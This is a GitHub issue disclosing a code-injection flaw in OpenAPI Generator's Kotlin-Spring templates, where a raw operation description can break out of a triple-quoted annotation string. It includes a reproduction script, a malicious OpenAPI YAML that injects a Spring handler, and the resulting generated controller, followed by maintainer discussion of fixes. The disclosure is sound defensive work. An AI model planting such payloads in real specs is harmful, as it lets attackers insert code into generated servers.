Repository navigation
[BUG][Kotlin] Operation Description Escapes Generated Annotation String and Injects a Spring Handler #23956
Description
Bug Report Checklist
- [✅] Have you provided a full/minimal spec to reproduce the issue?
- [✅] Have you validated the input using an OpenAPI validator?
- [✅] Have you tested with the latest master to confirm the issue still exists?
- [✅] Have you searched for related issues/PRs?
- [✅] What's the actual output vs expected output?
- [Optional] Sponsorship to speed up the bug fix or feature request (example)
Description
OpenAPI Generator has a similar vulnerability with CVE-2026-22785 in the Kotlin-Spring generator: an untrusted OpenAPI operation description is copied into generated Kotlin source through unescapedNotes and placed inside a triple-quoted annotation string. A malicious description containing """ can close the string, close the annotation, and insert attacker-controlled Kotlin/Spring declarations into the generated controller.
The vulnerable sink is in modules/openapi-generator/src/main/resources/kotlin-spring/api.mustache.
@Operation(
summary = "{{{summary}}}",
operationId = "{{{operationId}}}",
description = """{{{unescapedNotes}}}""",
responses = [{{#responses}}
The same pattern is also present in modules/openapi-generator/src/main/resources/kotlin-spring/apiInterface.mustache.
@Operation(
tags = [{{#tags}}"{{{name}}}",{{/tags}}],
summary = "{{{summary}}}",
operationId = "{{{operationId}}}",
description = """{{{unescapedNotes}}}""",
responses = [{{#responses}}
The template uses unescapedNotes, not the escaped notes field. In modules/openapi-generator/src/main/java/org/openapitools/codegen/DefaultCodegen.java, unescapedNotes is assigned directly from the OpenAPI operation description:
op.summary = escapeText(operation.getSummary());
op.unescapedNotes = operation.getDescription();
op.notes = escapeText(operation.getDescription());The Kotlin generator has escaping helpers, but those helpers are not applied to this unescapedNotes template path. modules/openapi-generator/src/main/java/org/openapitools/codegen/languages/AbstractKotlinCodegen.java only handles quote removal for escaped text and block-comment delimiter replacement for unsafe characters:
public String escapeQuotationMark(String input) {
return input.replace("\"", "");
}
public String escapeUnsafeCharacters(String input) {
return input.replace("*/", "*_/").replace("/*", "/_*");
}Because the template renders the raw operation description inside a Kotlin triple-quoted string, an attacker-controlled """ terminates the annotation string. The attacker can then close the annotation and add Kotlin/Spring code before reopening a benign annotation string for the remaining generated template.
openapi-generator version
v7.22.0
Steps to reproduce
The following reproduction is self-contained. It checks out the affected OpenAPI Generator source, builds the CLI jar, creates the malicious OpenAPI document, generates a Kotlin-Spring server, compiles it, starts the generated
Spring application, and triggers the injected handler over HTTP.
set -eu
workdir="$(mktemp -d)"
cd "$workdir"
git clone --depth 1 https://github.com/OpenAPITools/openapi-generator.git
cd openapi-generator
git fetch --depth 1 origin 1dc89bd3d9081a4b2eff6baa8f7866109eb88a15
git checkout 1dc89bd3d9081a4b2eff6baa8f7866109eb88a15
./mvnw -q -pl modules/openapi-generator-cli -am package -DskipTests </dev/null
generator_jar="$(find modules/openapi-generator-cli/target -maxdepth 1 \
-name 'openapi-generator-cli*.jar' \
! -name '*sources*' \
! -name '*javadoc*' \
| head -n 1)"
cat > "$workdir/malicious-openapi.yaml" <<'YAML'
openapi: "3.0.3"
info:
title: OpenAPI Generator Kotlin description injection
version: "1.0.0"
paths:
/ping:
get:
operationId: ping
summary: Ping
description: |
"""
)
@GetMapping("/pwn")
fun pwn(): String {
return "OPENAPI_GENERATOR_INJECTED_HANDLER"
}
@Operation(description = """
responses:
"200":
description: OK
YAML
java -jar "$generator_jar" generate \
-g kotlin-spring \
-i "$workdir/malicious-openapi.yaml" \
-o "$workdir/generated-server" \
--additional-properties=interfaceOnly=false,serviceInterface=false,documentationProvider=springdoc,useSpringBoot3=false \
</dev/null
grep -R '@GetMapping("/pwn")' "$workdir/generated-server/src/main/kotlin"
grep -R 'OPENAPI_GENERATOR_INJECTED_HANDLER' "$workdir/generated-server/src/main/kotlin"
cd "$workdir/generated-server"
chmod +x ./gradlew
./gradlew build -x test -Pkotlin.jvm.target.validation.mode=warning </dev/null
./gradlew bootRun --args='--server.port=18085' \
-Pkotlin.jvm.target.validation.mode=warning </dev/null > "$workdir/boot.log" 2>&1 &
server_pid="$!"
trap 'kill "$server_pid" 2>/dev/null || true; wait "$server_pid" 2>/dev/null || true' EXIT
for i in $(seq 1 60); do
response="$(curl -fsS http://127.0.0.1:18085/pwn 2>/dev/null || true)"
if [ "$response" = "OPENAPI_GENERATOR_INJECTED_HANDLER" ]; then
printf '%s\n' "$response"
exit 0
fi
sleep 1
done
printf 'Injected handler did not become reachable. boot log follows:\n' >&2
cat "$workdir/boot.log" >&2
exit 1Expected output from the final request:
OPENAPI_GENERATOR_INJECTED_HANDLER
The malicious OpenAPI operation description used by the script is:
openapi: "3.0.3"
info:
title: OpenAPI Generator Kotlin description injection
version: "1.0.0"
paths:
/ping:
get:
operationId: ping
summary: Ping
description: |
"""
)
@GetMapping("/pwn")
fun pwn(): String {
return "OPENAPI_GENERATOR_INJECTED_HANDLER"
}
@Operation(description = """
responses:
"200":
description: OKThe generated controller contains attacker-controlled source code:
@Operation(
summary = "Ping",
operationId = "ping",
description = """"""
)
@GetMapping("/pwn")
fun pwn(): String {
return "OPENAPI_GENERATOR_INJECTED_HANDLER"
}
@Operation(description = """
""",
responses = [
ApiResponse(responseCode = "200", description = "OK") ]
)Related issues/PRs
- Original CVE: CVE-2026-22785
Activity
Picazsoo commentedon Jun 5, 2026
Hi, any idea if my PR fixes this issue? #23633
I will take a look at it later as well.
Picazsoo commentedon Jun 5, 2026
Ok - based on a very quick look it seems I do not prevent this injection in my fix.
Picazsoo commentedon Jun 5, 2026
@quart27219 - do you plan on providing a fix?
Picazsoo commentedon Jun 6, 2026
Ok, there is a similar issue where in some cases kotlin string interpolation (
"${...}") does not get escaped properly.quart27219 commentedon Jun 6, 2026
The original Orval patch fixed the code by escaping attacker-controlled OpenAPI values before placing them into generated source. I think this issue also can be patched in a similar direction.
Raw description interpolation shoud be replaced with serialization for the annotation string context.
Maybe you could reference original patch used for sanitizing strings.
Also, this is the main function used for patch in original vulnerability:
https://github.com/orval-labs/orval/blob/468dceec8931d44a2b99d6ce35e08de14198e7f5/packages/core/src/utils/string.ts#L242
Picazsoo commentedon Jun 6, 2026
Yeah - I did some experiments and there are plenty of places where the injection via string interpolation is possible. If you do not plan on doing it, I will try to prepare some fixes over the weekend.
Another place (probably one of many)
Picazsoo commentedon Jun 6, 2026
I would wager that my PR #23633 fixes at least some of these issues (WRT String interpolation injection). But definitely not all. And definitely not the ones with the triple quotes.
Picazsoo commentedon Jun 6, 2026
I think it would be good to be in better state for 7.23.0 release
Picazsoo commentedon Jun 7, 2026
A small-scope fix here: #23960
quart27219 commentedon Jun 7, 2026
Thanks for your work.
It seems to be a proper direction for patch :)
I also agree that it would be good to be in better state for next release.
quart27219 commentedon Jul 14, 2026
Is there any update for this issue? It doesn't seem to have been fixed.